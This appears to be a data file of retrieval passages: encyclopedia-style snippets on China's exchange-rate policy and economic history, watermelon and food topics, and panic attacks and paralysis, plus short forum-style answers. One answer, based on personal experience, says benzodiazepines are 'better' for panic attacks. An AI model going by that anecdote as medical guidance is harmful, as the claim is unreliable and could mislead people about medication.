reserve assets defined and maintained by the International Monetary Fund, which includes the U.S. dollar, Euro, Japanese yen and pound sterling. The IMF's decision to add the RMB to the SDR, was \"crucial to global financial stability\" as it would encourage China to \"continue to be a responsible global citizen and liberalise its exchange rate, while intervening to ensure a gradual decline\". China's PMI In August", "average over 2011–13.\nEffective exchange rates are useful for gauging whether a currency has appreciated overall relative to trading partners. For example, in 2015 the Chinese RMB depreciated about 8% against the US dollar. However, more of China's trade is with Asia and Europe than with the United States, and the dollar appreciated against those currencies. The net effect was that once weighted by trade shares the value of the Chinese currency actually appreciated approximately 10% relative to its trading partners.\nEER are still volatile over short periods of time and a poor guide for comparing standards of living across countries. For", "the increasing economic gap between China’s West and East, indicating that the east-to-west GDP ratio increased from 2.98 in 1980 to 4.33 in 2000. Foreign Investment Since the introduction of economic reform and open-door policy in 1978, the western region has been in a disadvantageous economic position because it promises a less lucrative return to the investors than its eastern competitors. Therefore, one of the major objectives of the Open Up the West initiative was to bring in foreign investment by creating a more stable investing environment through infrastructure construction. This was a success for the western development", "exchange rates are not only a large driving force for the Chinese economy but for the international market as well. Lastly, Baillui et. al (2010) argue that China's economy adapts slower to shocks than other developed countries because their monetary policy is not as effective as the real exchange rate. Structural Reforms and Economic Growth in Emerging Market Economies (2016) Jeannine Bailliu and Christopher Hajzler suggest that growth in Emerging Market Economies (EME's) has slowed down since this 2008 Global Financial Crisis. Bailliu and Hajzler present structural reforms that could help increase productivity and thus help stimulate a substantial amount", "Chinese Economy in a Global Context: A Model-Based Approach (2010) Baillui and colleage Patrick Blagrave analyze the factors behind shocks in the Chinese economy and how these shocks effect the G-3 countries, United States, the euro area and Japan Firstly, Baillui et. al (2010) find that foreign demand shocks are larger in China than other industrialized countries. This is namely due to the fact that China has a very open economy and one of the world's largest manufacturers. Henceforth, demand shocks from the international market will greatly impact the Chinese economy. In addition, their research also suggests that real equilibrium", "took small steps to allow its currency to strengthen for three years starting in July 2005. But China 're-pegged' its currency to the dollar as the financial crisis intensified in July 2008.\"\nOn 19 June 2010, the People's Bank of China released a statement simultaneously in Chinese and English claiming that they would \"proceed further with reform of the RMB exchange rate regime and increase the RMB exchange rate flexibility\". The news was greeted with praise by world leaders including Barack Obama, Nicolas Sarkozy and Stephen Harper. The PBoC maintained there would be no \"large swings\" in the currency. The RMB", "China set the official midpoint rate on the yuan, also known as the renminbi (RMB), to its lowest level since March 2011—at CN¥6.5646 per US dollar. A lower renminbi (RMB) \"makes China’s exports more competitive in foreign markets, offsetting part of the surge in the country’s blue-collar wages over the last decade; and it makes foreign companies, houses and other overseas investments seem more expensive\".\nOn 7 January, Chinese authorities suspended the circuit breaker out of concern that the trade curb may \"have intensified investors’ concerns\".\nOn 16 January 2016 Xiao Gang the head of China Securities Regulatory Commission defended the CSRC's", "cutting key interest rates three times in less than two months in a bid to spur economic expansion. On November 28, 2008, the Ministry of Finance of the People's Republic of China and the State Administration of Taxation jointly announced a rise in export tax rebate rates on some labour-intensive goods. These additional tax rebates took place on December 1, 2008.\nThe stimulus package was welcomed by world leaders and analysts as larger than expected and a sign that by boosting its own economy, China is helping to stabilise the global economy. News of the announcement of the stimulus package sent", "RMB transactions and intended to \"increase global usage of the Chinese currency\", by \"cutting transaction costs and processing times\" and removing \"one of the biggest hurdles to internationalizing the yuan\". Because of the stock market turbulence, the launch had been delayed and CIPS was '\"watered down\" offering, a \"complementary network for settling trade-related deals in the Chinese currency to a current patchwork of Chinese clearing banks around the world\".\nBy December 2015, the RMB was still the \"fifth most used global payments currency and the second most used currency for trade finance\" with 27 per cent of China's goods invoiced in", "for the private sector.\nAfter joining the WTO China's average tariffs have dropped below 100%, and to around 5% for manufactured imports. It initially welcomed foreign investment into \"special economic zones\". Some of these zones were very large, amounting to urban areas of 20 million people or more. The positive impact of foreign investment in these locations led to a more general opening up of the economy to foreign investment, with the result that China became the largest recipient of direct investment flows in the 1990s.\nThe opening up measures have been accompanied by improvements in the investment climate. Particularly in the", "of 12.6%.\nNevertheless, the economic growth rate of China’s East continues to exceed that of the West, causing the western share of domestic product to continue to fall. The West’s contribution to the GDP decreased from 20.88% in 1990 to 17.13% in 2000. Relative levels of GDP per capita in the West decreased from 73.30% in 1990 to 60.87% in 2000. In 1990, Shanghai’s per capita GDP was 7.3 times that of Guizhou, the poorest province in China; by 2000, the figure had grown to 12.9 times. Evidence from the China Statistical Yearbook also confirms", "Japan's but remained behind South Korea and Taiwan's economies. Trade and foreign investment Some scholars assert that China has maintained a high degree of openness that is unusual among the other large and populous nations, with competition from foreign goods in almost every sector of the economy. Foreign investment helped to greatly increase quality, knowledge and standards, especially in heavy industry. China's experience supports the assertion that globalization greatly increases wealth for poor countries. Throughout the reform period, the government reduced tariffs and other trade barriers, with the overall tariff rate falling from 56% to 15%. By 2001, less than", "in total cumulative investment slipped, from 26.5 percent in 1975 to 17.3 percent in 1988.\nChina is now Japan's largest export market, surpassing the U.S. despite a drop in overall trade, according to recent figures from the Japan External Trade Organization. Japan's exports to China fell 25.3% during the first half of 2009 to $46.5 billion, but due to a steeper drop in shipments to the U.S., China became Japan's largest trade destination for the first time. China is also Japan's largest source of imports. Middle East The importance of the Middle East expanded dramatically in the 1970s with the jumps", "History As the second largest economy in the world, China represents a key driver of global growth. Although the Renminbi has been elevated to reserve currency status, only 10.3% of global trade is done through the currency (as of 2015). Because of this imbalance, the Chinese government has undertaken measures in recent years to open the country’s capital account.\nThe Qualified Foreign Institutional Investor (QFII) program was launched in 2002. Primary aims were letting financial institutions outside China invest in China’s stock and bond markets. However, it was limited to certain financial institutions such as commercial banks, securities companies, insurance companies,", "the structure of the economy, and that gradual increase in domestic consumption is important for its own growth. While the Chinese have argued that their exchange rate is purely a domestic policy matter, economists have begun to suggest that Chinese policy will soon shift to accelerate appreciation of the Yuan in order to reduce domestic inflation and to increase the wealth of Chinese citizens.\nOthers in China view this dispute as an attempt to ring in China's economic development as part of a strategy for economic imperialism of the industrialized world led by the United States. They likened it to the", "a separate interview, he remarked that China achieved its 149.2 percent of its current trade surplus with the United States through \"lying, cheating, and stealing\" and that if China decided to realize its threat that had been expressed since August 2007 to sell its US Treasuries, it would actually hurt its own economy which is reliant on exports to the United States; the economy of the United States would be hurt by a sell-off of Treasuries, causing the United States to buy less from China, which would in turn hurt the Chinese economy.\nSince 2001 Chang has predicted that the Chinese", "than heavy industry\". By mid-January 2016, an article in The Economist argued that the strains on the yuan indicated a problem with China's politics. However, a spokesperson for the International Energy Agency (IEA) argued that the risk was \"overplayed\". During the drastic sell-off on 7 January 2016 China's central bank, the People’s Bank of China set the official midpoint rate on RMB to its lowest level since March 2011—at CN¥6.5646 per US dollar.\nOn 8 October 2015 China launched a new clearing system developed by the People’s Bank of China (PBOC) - Cross-Border Inter-Bank Payments System (CIPS) - to settle cross-border", "a bit, but don’t change it in any fundamental way). By keeping its current artificially weak — a higher price of dollars in terms of yuan — China generates a dollar surplus; this means the Chinese government has to buy up the excess dollars.\n— Paul Krugman 2010 The New York Times\nGreg Mankiw, on the other hand, asserted in 2010 the U.S. protectionism via tariffs will hurt the U.S. economy far more than Chinese devaluation. Similarly, others have stated that the undervalued yuan has actually hurt China more in the long run insofar that the undervalued yuan does not subsidize the Chinese", "rose to its highest level in five years and markets worldwide surged on Monday, 21 June following China's announcement.\nIn August 2015, Joseph Adinolfi, a reporter for MarketWatch, reported that China had re-pegged the RMB. In his article, he narrated that \"Weak trade data out of China, released over the weekend, weighed on the currencies of Australia and New Zealand on Monday. But the yuan didn’t budge. Indeed, the Chinese currency, also known as the renminbi, has been remarkably steady over the past month despite the huge selloff in China’s stock market and a spate of disappointing economic data. Market strategists,", "China forced to use foreign exchange certificates. The unrealistic levels at which exchange rates were pegged led to a strong black market in currency transactions.\nIn the late 1980s and early 1990s, China worked to make the RMB more convertible. Through the use of swap centres, the exchange rate was brought to realistic levels and the dual track currency system was abolished.\nAs of 2013, the renminbi is convertible on current accounts but not capital accounts. The ultimate goal has been to make the RMB fully convertible. However, partly in response to the Asian financial crisis in 1998, China has been concerned", "United States, its most important export market. In the early 2010s, US politicians argued that the Chinese yuan was significantly undervalued, giving China an unfair trade advantage.\nSince the turn of the century, China has followed a policy of engaging with African nations for trade and bilateral co-operation; in 2012, Sino-African trade totalled over US$160 billion. China maintains healthy and highly diversified trade links with the European Union. China has furthermore strengthened its ties with major South American economies, becoming the largest trading partner of Brazil and building strategic links with Argentina. Territorial disputes Ever since its establishment after the second", "China in the WTO because part of the motivation to do so, the political liberalization of the PRC’s government along the lines of the Washington Consensus never materialized. The US hoped economic liberalization would eventually lead to political liberalization to a government more akin to the then recently repatriated Hong Kong Special Administrative Region under One country, two systems. Trans Pacific Partnership In part, the Trans-Pacific Partnership (TPP), geopolitically was thought by some to likely bring China's neighbours closer to the United States and reduce its economic leverage and dependence on Chinese trade. If ratified, the TPP would have strengthened", "1934 and recovering to $23.7 billion by 1935. By 1930, foreign investment in China totaled $3.5 billion, with Japan leading ($1.4 billion) and the United Kingdom at 1 billion. By 1948, however, the capital stock had halted with investment dropping to only $3 billion, with the US and Britain leading.\nHowever, the rural economy was hit hard by the Great Depression of the 1930s, in which an overproduction of agricultural goods lead to massive falling prices for China as well as an increase in foreign imports (as agricultural goods produced in western countries were \"dumped\" in China). In 1931, imports of", "Economic history of China (1949–present) General Overview China's economic system before the late-1990s, with state ownership of certain industries and central control over planning and the financial system, has enabled the government to mobilize whatever surplus was available and greatly increase the proportion of the national economic output devoted to investment.\nAnalysts estimated that investment accounted for about 25 percent of GNP in 1979, a rate surpassed by few other countries. Because of the comparatively low level of GNP, however, even this high rate of investment secured only a small amount of resources relative to the size of the country and" ]

[ "Nature does this. Not just in watermelon either. There is an odd correlation with the Fibonacci principal and how things grow in nature. TO ELU5, the watermelon starts out small, and grow veins for the water to transport. As it gets bigger, those veins curl in on themselves, creating the patter you see.", "Basically, math. It's not exactly how it grows, but it's an explanation for us as to why it grows that way. Efficiency and patterns, using as little energy as possible to do the most work etc." ]

[ "is closer to Citrullus mucosospermus (Fursa) Fursa from West Africa and populations from Sudan. History The watermelon is a flowering plant that originated in West Africa, where it can also be found growing in the wild. Citrullus colocynthis has sometimes been considered to be a wild ancestor of the watermelon; its native range extends from north and west Africa to west India.\nEvidence of the cultivation of both C. lanatus and C. colocynthis in the Nile Valley has been found from the second millennium BC onward, and seeds of both species have been found at Twelfth Dynasty sites and in the", "compared to other cultivars. It is used as a flavoring in soups and sometimes pickled as a side dish. Wild The wild form of celery is known as \"smallage\". It has a furrowed stalk with wedge-shaped leaves, the whole plant having a coarse, earthy taste, and a distinctive smell. The stalks are not usually eaten (except in soups or stews in French cuisine), but the leaves may be used in salads, and its seeds are those sold as a spice. With cultivation and blanching, the stalks lose their acidic qualities and assume the mild, sweetish, aromatic taste particular to", "Ch'arki Ch'arki (Quechua for dried, salted meat, Hispanicized spellings charque, charqui, charquí) is a dried salted meat product. Andean charqui, made in Peru, Bolivia and Chile, is from alpaca, llama or alpaca-llama cross-breeds. Peru is the world's largest producer with approximately 450 tons produced per year. Brazilian charque is made from beef.\nThe manufacture of charqui principally consists of salting and sun-drying. In some regions, such as in Puno, the meat is sliced before drying; in others, like Cusco, the meat is dried from whole bone-in carcass pieces, known as 'charqui completo'.\nIt was industrialized in charqueadas, also named saladeros (in Argentina", "husk, or psyllium husk. The milled seed mucilage is a white fibrous material that is hydrophilic, meaning that its molecular structure causes it to attract and bind to water. Upon absorbing water, the clear, colorless, mucilaginous gel that forms increases in volume by tenfold or more. Cultivation The genus Plantago contains over 200 species. P. ovata and P. psyllium are produced commercially in several European countries, the former Soviet Union and India. Plantago seed, known commercially as black, French, or Spanish psyllium, is obtained from P. psyllium, also known as P. arenaria. Seed produced from P. ovata is known in", "in water for a long time, so that the stewing liquid sets to form a jelly-like substance when cooled. Nepal Among the Newars of Kathmandu Valley in Nepal, buffalo meat jelly, known as ta khaa, is a major component of the winter festivity gourmet. It is eaten in combination with fish aspic (sanyaa khunna), which is made from dried fish and buffalo meat stock, soured, and contains a heavy mix of spices and condiments. Eastern Europe In Belarusan, Russian, and Ukrainian cuisine, a meat aspic dish is called kholodets (Belarusian: халадзец [xalaˈd͡zʲɛt͡s], Russian: холодец [xəlɐˈdʲets], Ukrainian: холодець [xoloˈdɛtsʲ] (listen)) derived", "higher nutritional value of protein, fat, lactose, minerals and vitamins. Quality of the curd depends on the starter culture. Fermentation also develops the characteristic flavor and colour of the product.\nBuffalo curd can be made in both traditional and industrial forms. Traditionally buffalo milk is filtered and boiled, the scum is removed and it is cooled to room temperature. A few spoonfuls of a previous batch of curd are added and it is then mixed well and poured into clay pots. These are sealed by wrapping a piece of paper over the pot and allowing it to stand for 12", "commercial production of celery is dominated by the cultivar called 'Pascal' celery. Gardeners can grow a range of cultivars, many of which differ from the wild species, mainly in having stouter leaf stems. They are ranged under two classes, white and red.\nThe stalks grow in tight, straight, parallel bunches, and are typically marketed fresh that way, without roots and just a little green leaf remaining.\nThe stalks are eaten raw, or as an ingredient in salads, or as a flavoring in soups, stews, and pot roasts. Europe In Europe, another popular variety is celeriac (also known as celery root), Apium", "tomb of Pharaoh Tutankhamun. Watermelon seeds were found in the Dead Sea region at the ancient settlements of Bab edh-Dhra and Tel Arad.\nIn the 7th century, watermelons were being cultivated in India, and by the 10th century had reached China, which is today the world's single largest watermelon producer. The Moors introduced the fruit into Spain and there is evidence of it being cultivated in Córdoba in 961 and also in Seville in 1158. It spread northwards through southern Europe, perhaps limited in its advance by summer temperatures being insufficient for good yields. The fruit had begun appearing in European", "Sweet Water Organics History Sweet Water Organics incorporated in 2008 and broke ground on its facility in 2009. Former business partners Josh Fraundort and James Godsil founded the organization in the hopes of creating an urban, sustainable fish and vegetable farm. The first fish were added to the aquaponics system in July 2009, including 2,400 yellow perch and 33,000 tilapia. By mid-2010 Sweet Water was selling about 150 pounds of produce a week and had sold 3,000 perch. This model of production ran into problems however, and an award-winning 2012 investigative story in the Bay View Compass by Michael Timm", "herbals by 1600, and was widely planted in Europe in the 17th century as a minor garden crop.\nEuropean colonists and slaves from Africa introduced the watermelon to the New World. Spanish settlers were growing it in Florida in 1576, and it was being grown in Massachusetts by 1629, and by 1650 was being cultivated in Peru, Brazil and Panama, as well as in many British and Dutch colonies. Around the same time, Native Americans were cultivating the crop in the Mississippi valley and Florida. Watermelons were rapidly accepted in Hawaii and other Pacific islands when they were introduced there by", "as well as mixed vegetables such as piccalilli.\nIn fermentation pickling, bacteria in the liquid produce organic acids as preservation agents, typically by a process that produces lactic acid through the presence of lactobacillales. Fermented pickles include sauerkraut, nukazuke, kimchi, and surströmming. Lye Sodium hydroxide (lye) makes food too alkaline for bacterial growth. Lye will saponify fats in the food, which will change its flavor and texture. Lutefisk uses lye in its preparation, as do some olive recipes. Modern recipes for century eggs also call for lye. Canning Canning involves cooking food, sealing it in sterilized cans or jars, and boiling", "Ulam (salad) Ulam, a traditional salad produced from the fresh leaves, vegetables or fruits which can be eaten raw or after soaked in hot water eg Centella asiatica. It is typically eaten with sauces such as anchovies, cincalok or sambal. It is recognised as a popular vegetable dish in traditional villages.\nUlam can be eaten simply as it is such as cucumber, cabbage and longbean. Another type of ulam is traditional ulam, in which it is used more as an ingredient, such as in nasi ulam (ulam rice), nasi kerabu (a type of bluish-coloured rice) and cooking with other", "and has increased dramatically until at least 2005, reaching 20 times natural background levels. It originates in industrial activities that involve leather tanning in the shoe factory of Calzado Cobán. The chromium does not seem to accumulate along the food chain, as it is not found in fishes and crayfishes. However, it accumulates massively in water hyacinth roots and, from there, is transferred to lake sediments through shedding of roots to the lake floor. Most of the water hyacinth biomass is actually extracted from the lake to fight eutrophication and turned into horticultural fertilizer. Forest cover reduction Only", "Broth Broth is a savory liquid made of water in which bones, meat, or vegetables have been simmered. It can be eaten alone, but it is most commonly used to prepare other dishes, such as soups, gravies, and sauces.\nCommercially prepared liquid broths are available, typically for chicken broth, beef broth, fish broth, and vegetable broth. In North America, dehydrated meat stock in the form of tablets is called a bouillon cube. Industrially produced bouillon cubes were commercialized under the brand name Maggi in 1908, and by Oxo in 1910. Using commercially prepared broths saves home and professional cooks time in", "mostly become mature when about three years old and can live to about twelve years old. They spawn in autumn and winter over hard sand at the edges of lakes, and over sand, gravel and pebbles in rivers. In northern rivers this may be under ice at depths down to about 3 m (10 ft). Uses Although edible, the peled is not highly esteemed for cooking as the flesh is rather soft and tasteless. It is sometimes salted and consumed raw.", "The first edible sample was produced by the NSR/Touro Applied BioScience Research Consortium in 2002: goldfish cells grown to resemble fish fillets.\nIn 1998 Jon F. Vein of the United States filed for, and ultimately secured, a patent (US 6,835,390 B1) for the production of tissue engineered meat for human consumption, wherein muscle and fat cells would be grown in an integrated fashion to create food products such as beef, poultry and fish. Early 21st century In 2001, dermatologist Wiete Westerhof from the University of Amsterdam, medical doctor Willem van Eelen, and businessman Willem van Kooten announced that they had filed", "Bromelain Bromelain is an enzyme extract derived from the stems of pineapples, although it exists in all parts of the fresh pineapple. The extract has a history of folk medicine use. As an ingredient, it is used in cosmetics, as a topical medication, and as a meat tenderizer.\nThe term \"bromelain\" may refer to either of two protease enzymes extracted from the plants of the family Bromeliaceae, or it may refer to a combination of those enzymes along with other compounds produced in an extract. Bromelain enzymes are called fruit bromelain and stem bromelain.\nAlthough tested in a variety of folk medicine", "it 'bromelin'. Later, the term 'bromelain' was introduced and originally applied to any protease from any member of the plant family Bromeliaceae. Production Produced mainly in parts of the world where pineapples are grown, such as Thailand or Malaysia, bromelain is extracted from the peel, stem, leaves or waste of the pineapple plant after processing the fruit for juice or other purposes. The starting material is blended and pressed through a filter to obtain a supernatant liquid containing the soluble bromelain enzyme. Further processing includes purification and concentration of the enzyme. Physical characteristics Bromelain is a white to tan", "smaller than the amphidromous form. The freshwater-restricted ayu of Lake Biwa that migrate into their spawning streams in the spring can reach up to about 15 cm (6 in) in length, but those that migrate later in the year, primarily in the autumn, only grow to 10 cm (4 in). This is caused by differences in the availability of food. Human uses Ayu is an edible fish, mostly consumed in East Asia. Its flesh has a distinctive, sweet flavour with \"melon and cucumber aromas\". It is consequently highly prized as a food fish. The main methods for obtaining ayu are by means of", "Olluquito Olluquito, olluquito con carne (with meat) and olluquito con ch'arki (with dried llama meat) are traditional dishes in Peruvian cuisine made with ulluku (Quechua, hispanicized spellings ulluco, olluco) a root vegetable that also has edible leaves. It is an important root crop in the Andean region of South America, second only to the potato. The leaf and the tuber are edible; the leaves are similar to spinach, and the root is not unlike a potato or jicama. The Ulluku contains high levels of protein, calcium, and carotene. Papalisa were used by the Incas prior to arrival of Europeans in", "Brine is commonly produced during well completion operations, particularly after the hydraulic fracturing of a well. Culinary Brine is a common agent in food processing and cooking. Brining is used to preserve or season the food. Brining can be applied to vegetables, cheeses and fruit in a process known as pickling. Meat and fish are typically steeped in brine for shorter periods of time, as a form of marination, enhancing its tenderness and flavor, or to enhance shelf period. Refrigerating fluid Brine is used as a secondary fluid in large refrigeration installations for the transport of thermal energy from place", "related watermelon (Citrullus lanatus (Thunb)), whose seeds may be used in much the same way. In particular, the name \"egusi\" may refer to either or both plants (or more generically to other cucurbits) in their capacity as seed crops, or for a soup made from these seeds and popular in West Africa. The seed flour is rich in micronutrients, and could therefore be used in food formulations especially in regions with low milk consumption, such as West Africa. Practical uses The oil obtained from the seeds (47%) can be used for soap production. The production is not very time- and", "animal products used as fining agents are gelatin, isinglass, casein and egg albumen. Bull's blood is also used in some Mediterranean countries but (as a legacy of bovine spongiform encephalopathy (mad cow disease)]]) is not allowed in the U.S. or the European Union. Gelatin The most common animal product used for fining is gelatin due to its potency and effectiveness. It takes only one ounce of gelatin to clarify 1,000 gallons of wine. Gelatin is made from the boiling of animal parts. Wine specifically responds best to type A gelatin, which is derived from the boiling of pigs skin. Gelatin", "Chunla Production Chunlā is made by grinding water buffalo meat and kneading spices into it. The meat is fried lightly in a pan and then simmered in water. In the last step, fenugreek seeds are bloomed in oil and poured over the meat.\nChunlā is also made into \"lāgwa\" (लाग्वः) meatball and \"lāpi\" (लापी) patty. The meat is rolled into a ball to make lāgwa or formed into a round shape to make lāpi before being fried and simmered in water. Lāgwa and lāpi are required food items during certain ceremonies.\nChunlā is also used without first cooking it as topping for", "Watermelon Description The watermelon is an annual that has a prostrate or climbing habit. Stems are up to 3 m long and new growth has yellow or brown hairs. Leaves are 60 to 200 mm long and 40 to 150 mm wide. These usually have three lobes which are themselves lobed or doubly lobed. Plants have both male and female flowers on 40-mm-long hairy stalks. These are yellow, and greenish on the back.\nThis plant is listed on the Threatened Species Programme of the South African National Biodiversity Institute.\nThe watermelon is a large annual plant with long, weak, trailing or climbing stems which", "Sop saudara Ingredients Sop saudara is a richly spiced soup contains bits of beef or buffalo meat and its offals (usually fried cow's lungs), rice vermicelli, perkedel (fried potato patty) and hard boiled egg. The soup is made of rich beef stock, spiced with a mixture of spices. The spices includes garlic, shallot, candlenut, coriander, caraway, ginger, galangal, lime leaf, lemongrass, nutmeg and cinnamon. Garnishing include chopped scallion and bawang goreng (crispy fried shallot). Origin Sop saudara was created by Haji Dollahi, he worked for Haji Subair, a famous Coto Makassar traditional meat soup seller in Makassar circa 1950s. Both", "Organically Grown Company (Oregon) History Started as the Organically Grown Cooperative in 1978, it started as a non-profit corporation run by hippies in Eugene, Oregon. It started out as a cooperative wholesaler of organic fruits, vegetables and herbs in the Pacific Northwest. In 1983, the company started distributions from Eugene, which grew to another warehouse in 1993 in Portland, Oregon. After an expansion with another warehouse in Kent, Washington, Organically Grown Company opened a 120,000-square-foot (11,000 m²) warehouse in Gresham, Oregon, in 2012. As of February 2013, the 200-person company had annual revenues in excess of $100 million. Operations They provide", "river fish such as the mandi'y and tare'y, from the armored catfish family. Other ingredients include fat, onion, tomatoes, green or red bell peppers, parsley, pepper, spices, and salt. Preparation The pira caldo as most popularly prepared begins with frying the vegetables in a little beef or pork fat. Then boiled water and the fish are added with salt and spices. When the fish is cooked and the soup is thick, some chopped chili pepper is added.\nAs pira caldo is a widespread dish, there are a number of variations. One of them which constitutes a rich source of protein is", "algae and fungi that manufacture some of the proteins and omega-3 oils needed for fish food. The US biotechnology company Calysta and the UK/Danish biotech company Unibio opened small plants in the UK and Denmark to produce fish feed from natural gas in 2016. Modern fish feed Modern fish feeds are made by grinding and mixing together ingredients such as fishmeal, vegetable proteins and binding agents such as wheat. Water is added and the resulting paste is extruded through holes in a metal plate. The diameter of the holes sets the diameter of the pellets, which can range from less", "celery as a salad plant.\nBecause wild celery is rarely eaten, yet susceptible to the same diseases as more well-used cultivars, it is often removed from fields to help prevent transmission of viruses like celery mosaic virus. Harvesting and storage Harvesting occurs when the average size of celery in a field is marketable; due to extremely uniform crop growth, fields are harvested only once. The petioles and leaves are removed and harvested; celery is packed by size and quality (determined by color, shape, straightness and thickness of petiole, stalk and midrib length and absence of disease, cracks, splits, insect damage and" ]

[ "They’d probably only help with some of the physical symptoms. Even then, they take a little while to kick in, while panic attacks can have very different lengths. Benzos are better since they relax both the mind and the body, instead of just the body, and also take effect quicker (depending on the specific medication, of course).\n\nSource: have had severe panic episodes and have taken both kinds of meds" ]

[ "is just what it sounds like: Permanent, irreparable damage to the muscles and associated weakness. Vacuoles and tubular aggregates form in and destroy healthy muscle tissue. This type of damage can typically be observed via a muscle biopsy. Not even anabolic steroids can repair this type of muscular damage.\nLife span is expected to be normal, but attacks can drop potassium to levels low enough to cause life-threatening breathing problems or heart arrhythmia. Patients often report muscle pain and cognitive problems during attacks. Migraines occur in up to 50% of all hypokalemic periodic paralysis patients and may include less common symptoms", "after receiving treatment.\nMany people being treated for panic attacks begin to experience limited symptom attacks. These panic attacks are less comprehensive, with fewer than four bodily symptoms being experienced.\nIt is not unusual to experience only one or two symptoms at a time, such as vibrations in their legs, shortness of breath, or an intense wave of heat traveling up their bodies, which is not similar to hot flashes due to estrogen shortage. Some symptoms, such as vibrations in the legs, are sufficiently different from any normal sensation that they clearly indicate panic disorder. Other symptoms on the list can occur", "are in vivo, they induce flaccid paralysis. This happens because C. botulinum produces a toxin which blocks the release of acetylcholine. Botulism toxin blocks the exocytosis of presynaptic vesicles containing acetylcholine (ACh). When this occurs, the muscles are unable to contract. Other symptoms associated with infection from this neurotoxin include double vision, blurred vision, drooping eyelids, slurred speech, difficulty swallowing, dry mouth, and muscle weakness. Botulism prevents muscle contraction by blocking the release of acetylcholine, thereby halting postsynaptic activity of the neuromuscular junction. If its effects reach the respiratory muscles, then it can lead", "behavioral predisposition to having panic attacks in certain situations.\nSome maintaining causes include avoidance of panic-provoking situations or environments, anxious/negative self-talk (\"what-if\" thinking), mistaken beliefs (\"these symptoms are harmful and/or dangerous\"), and withheld feelings.\nHyperventilation syndrome may occur when a person breathes from the chest, which can lead to overbreathing (exhaling excessive carbon dioxide in relation to the amount of oxygen in one's bloodstream). Hyperventilation syndrome can cause respiratory alkalosis and hypocapnia. This syndrome often involves prominent mouth breathing as well. This causes a cluster of symptoms, including rapid heart beat, dizziness, and lightheadedness, which can trigger panic attacks.\nPanic attacks may also", "botulinum toxin can be injected into the wrong muscle group or spread from the injection site, causing paralysis of unintended muscles.\nSide effects from cosmetic use generally result from unintended paralysis of facial muscles. These include partial facial paralysis, muscle weakness, and trouble swallowing. Side effects are not limited to direct paralysis however, and can also include headaches, flu-like symptoms, and allergic reactions. Just as cosmetic treatments only last a number of months, paralysis side-effects can have the same durations. At least in some cases, these effects are reported to dissipate in the weeks after treatment. Bruising at the site of", "Cataplexy Signs and symptoms Cataplexy manifests itself as muscular weakness which may range from a barely perceptible slackening of the facial muscles to complete muscle paralysis with postural collapse. Attacks are brief, most lasting from a few seconds to a couple of minutes, and typically involve dropping of the jaw, neck weakness, and/or buckling of the knees. Even in a full-blown collapse, people are usually able to avoid injury because they learn to notice the feeling of the cataplectic attack approaching and the fall is usually slow and progressive. Speech may be slurred and vision may be impaired (double vision,", "and chest pain are the predominant symptoms. People experiencing a panic attack may incorrectly attribute them to a heart attack and thus seek treatment in an emergency room. Because chest pain and shortness of breath are hallmark symptoms of cardiovascular illnesses, including unstable angina and myocardial infarction (heart attack), a diagnosis of exclusion (ruling out other conditions) must be performed before diagnosing a panic attack. It is especially important to do this for people whose mental health and heart health statuses are unknown. This can be done using an electrocardiogram and mental health assessments.\nPanic attacks are distinguished from other forms", "and recent analysis of patterns in India suggest that flaccid paralysis may be caused in some cases by oral polio vaccinations.\nVenomous snakes that contain neurotoxic venom such as kraits, mambas, and cobras can also cause complete flaccid paralysis. Some chemical warfare nerve agents such as VX can also cause complete flaccid paralysis.", "who is living with a panic disorder and agoraphobia.\nThe efficacy of group therapy treatment over conventional individual therapy for people with panic disorder with or without agoraphobia appear similar. Medication Medications options for panic attacks typically include benzodiazepines and antidepressants. Benzodiazepines are being prescribed less often because of their potential side effects, such as dependence, fatigue, slurred speech, and memory loss. Antidepressant treatments for panic attacks include selective serotonin reuptake inhibitors (SSRIs), serotonin noradrenaline reuptake inhibitors (SNRIs), tricyclic antidepressants (TCAs), and MAO inhibitors (MAOIs). SSRIs in particular tend to be the first drug treatment used to treat panic attacks. Selective", "agoraphobia sometimes fear waiting outside for long periods of time; that symptom can be called \"macrophobia\". Panic attacks Agoraphobia patients can experience sudden panic attacks when traveling to places where they fear they are out of control, help would be difficult to obtain, or they could be embarrassed. During a panic attack, epinephrine is released in large amounts, triggering the body's natural fight-or-flight response. A panic attack typically has an abrupt onset, building to maximum intensity within 10 to 15 minutes, and rarely lasts longer than 30 minutes. Symptoms of a panic attack include palpitations, rapid heartbeat, sweating, trembling,", "muscular agonist/antagonist imbalances may also be helpful. Extended use of braces or wheelchairs may cause compression neuropathy, as well as a loss of proper function of the veins in the legs, due to pooling of blood in paralyzed lower limbs. Complications from prolonged immobility involving the lungs, kidneys and heart include pulmonary edema, aspiration pneumonia, urinary tract infections, kidney stones, paralytic ileus, myocarditis and cor pulmonale. Post-polio syndrome Between 25 percent and 50 percent of individuals who have recovered from paralytic polio in childhood can develop additional symptoms decades after recovering from the acute infection, notably new muscle weakness", "Panic attack Signs and symptoms People with panic attacks often report a fear of dying or heart attack, flashing vision, faintness or nausea, numbness throughout the body, heavy breathing and hyperventilation, or loss of body control. Some people also suffer from tunnel vision, mostly due to blood flow leaving the head to more critical parts of the body in defense. These feelings may provoke a strong urge to escape or flee the place where the attack began (a consequence of the \"fight-or-flight response\", in which the hormone causing this response is released in significant amounts). This response floods the body", "muscles are at rest, but worsen during voluntary muscle contractions. Symptoms usually appear delayed one to twenty-four months after the lesion is created. Risk factors Risk factors for Holmes tremor include excess exposure to heavy metals, such as mercury and lead, as well as an increased intake of various drugs and toxins. Researchers found that raising the dose of antidepressants or neuroleptics elevate the risk for developing Holmes tremor. Increasing intake of coffee, tea, or other stimulants can also cause for greater risk of development. Tremors depend on dosage and amount of exposure to these factors and will typically decrease", "which are mostly autonomic in nature, include diaphoresis, nausea, vomiting, palpitations, and anxiety (which is often described as a sense of impending doom). Referred pain is experienced most commonly radiating down the left arm however it can also radiate to the lower jaw, neck, back and epigastrium. Some patients, especially elderly and diabetics, may present with what is known as a painless myocardial infarction or a \"silent heart attack\". A painless MI can present with all of the associated symptoms of a heart attack, including nausea, vomiting, anxiety, heaviness, or choking, but the classic chest pain described above is lacking.\nIt", "injection treatment.\nSome forms of strabismus can be corrected by weakening an extraocular muscle. Botulinum toxin blocks the neuromuscular transmission and thus paralyzes injected muscles. Paralysis is temporary, and it might seem that injections would always need to be repeated, except that muscles adapt to the lengths at which they are chronically held, so that a paralyzed muscle tends to get stretched-out by its antagonist and grows longer by addition of serial sarcomeres (the contractile units of skeletal muscles), while the antagonist tends to grow shorter by deletion of sarcomeres, thereby maintaining re-alignment when the toxin-caused paralysis has resolved. If there", "symptoms include swelling, severe pain, tingling, weakness, 